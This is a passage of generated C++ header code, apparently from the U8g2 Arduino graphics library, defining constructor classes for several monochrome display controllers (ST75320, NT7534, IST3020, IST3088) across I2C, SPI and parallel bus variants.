uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_i2c_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_1_HW_I2C : public U8G2 {\n  public: U8G2_ST75320_JLX320240_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_i2c_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75320_JLX320240_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75320_JLX320240_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_i2c_jlx320240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_2_SW_I2C : public U8G2 {\n  public: U8G2_ST75320_JLX320240_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_i2c_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_2_HW_I2C : public U8G2 {\n  public: U8G2_ST75320_JLX320240_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_i2c_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75320_JLX320240_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75320_JLX320240_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_i2c_jlx320240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_F_SW_I2C : public U8G2 {\n  public: U8G2_ST75320_JLX320240_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_i2c_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75320_JLX320240_F_HW_I2C : public U8G2 {\n  public: U8G2_ST75320_JLX320240_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_i2c_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75320_JLX320240_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75320_JLX320240_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75320_i2c_jlx320240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_NT7534_TG12864R_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_NT7534_TG12864R_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_nt7534_tg12864r_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_NT7534_TG12864R_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_NT7534_TG12864R_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_nt7534_tg12864r_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_NT7534_TG12864R_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_NT7534_TG12864R_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_nt7534_tg12864r_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_NT7534_TG12864R_1_6800 : public U8G2 {\n  public: U8G2_NT7534_TG12864R_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_nt7534_tg12864r_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_NT7534_TG12864R_1_8080 : public U8G2 {\n  public: U8G2_NT7534_TG12864R_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_nt7534_tg12864r_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_NT7534_TG12864R_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_NT7534_TG12864R_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_nt7534_tg12864r_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_NT7534_TG12864R_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_NT7534_TG12864R_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_nt7534_tg12864r_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_NT7534_TG12864R_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_NT7534_TG12864R_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_nt7534_tg12864r_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_NT7534_TG12864R_2_6800 : public U8G2 {\n  public: U8G2_NT7534_TG12864R_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_nt7534_tg12864r_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_NT7534_TG12864R_2_8080 : public U8G2 {\n  public: U8G2_NT7534_TG12864R_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_nt7534_tg12864r_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_NT7534_TG12864R_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_NT7534_TG12864R_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_nt7534_tg12864r_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_NT7534_TG12864R_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_NT7534_TG12864R_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_nt7534_tg12864r_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_NT7534_TG12864R_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_NT7534_TG12864R_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_nt7534_tg12864r_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_NT7534_TG12864R_F_6800 : public U8G2 {\n  public: U8G2_NT7534_TG12864R_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_nt7534_tg12864r_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_NT7534_TG12864R_F_8080 : public U8G2 {\n  public: U8G2_NT7534_TG12864R_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_nt7534_tg12864r_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST3020_ERC19264_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_IST3020_ERC19264_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3020_erc19264_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_IST3020_ERC19264_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST3020_ERC19264_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3020_erc19264_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST3020_ERC19264_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST3020_ERC19264_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3020_erc19264_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST3020_ERC19264_1_6800 : public U8G2 {\n  public: U8G2_IST3020_ERC19264_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3020_erc19264_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST3020_ERC19264_1_8080 : public U8G2 {\n  public: U8G2_IST3020_ERC19264_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3020_erc19264_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST3020_ERC19264_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_IST3020_ERC19264_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3020_erc19264_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_IST3020_ERC19264_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST3020_ERC19264_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3020_erc19264_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST3020_ERC19264_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST3020_ERC19264_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3020_erc19264_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST3020_ERC19264_2_6800 : public U8G2 {\n  public: U8G2_IST3020_ERC19264_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3020_erc19264_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST3020_ERC19264_2_8080 : public U8G2 {\n  public: U8G2_IST3020_ERC19264_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3020_erc19264_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST3020_ERC19264_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_IST3020_ERC19264_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3020_erc19264_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_IST3020_ERC19264_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST3020_ERC19264_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3020_erc19264_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST3020_ERC19264_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST3020_ERC19264_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3020_erc19264_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST3020_ERC19264_F_6800 : public U8G2 {\n  public: U8G2_IST3020_ERC19264_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3020_erc19264_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST3020_ERC19264_F_8080 : public U8G2 {\n  public: U8G2_IST3020_ERC19264_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3020_erc19264_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST3088_320X240_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_IST3088_320X240_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3088_320x240_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_IST3088_320X240_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST3088_320X240_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3088_320x240_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST3088_320X240_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST3088_320X240_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3088_320x240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST3088_320X240_1_6800 : public U8G2 {\n  public: U8G2_IST3088_320X240_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3088_320x240_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST3088_320X240_1_8080 : public U8G2 {\n  public: U8G2_IST3088_320X240_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3088_320x240_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST3088_320X240_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_IST3088_320X240_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3088_320x240_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_IST3088_320X240_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST3088_320X240_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3088_320x240_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST3088_320X240_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST3088_320X240_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3088_320x240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST3088_320X240_2_6800 : public U8G2 {\n  public: U8G2_IST3088_320X240_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3088_320x240_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST3088_320X240_2_8080 : public U8G2 {\n  public: U8G2_IST3088_320X240_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3088_320x240_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST3088_320X240_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_IST3088_320X240_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3088_320x240_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_IST3088_320X240_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST3088_320X240_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3088_320x240_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST3088_320X240_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_IST3088_320X240_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3088_320x240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_IST3088_320X240_F_6800 : public U8G2 {\n  public: U8G2_IST3088_320X240_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3088_320x240_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_IST3088_320X240_F_8080 : public U8G2 {\n  public: U8G2_IST3088_320X240_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ist3088_320x240_f(&u8g2, rotation, 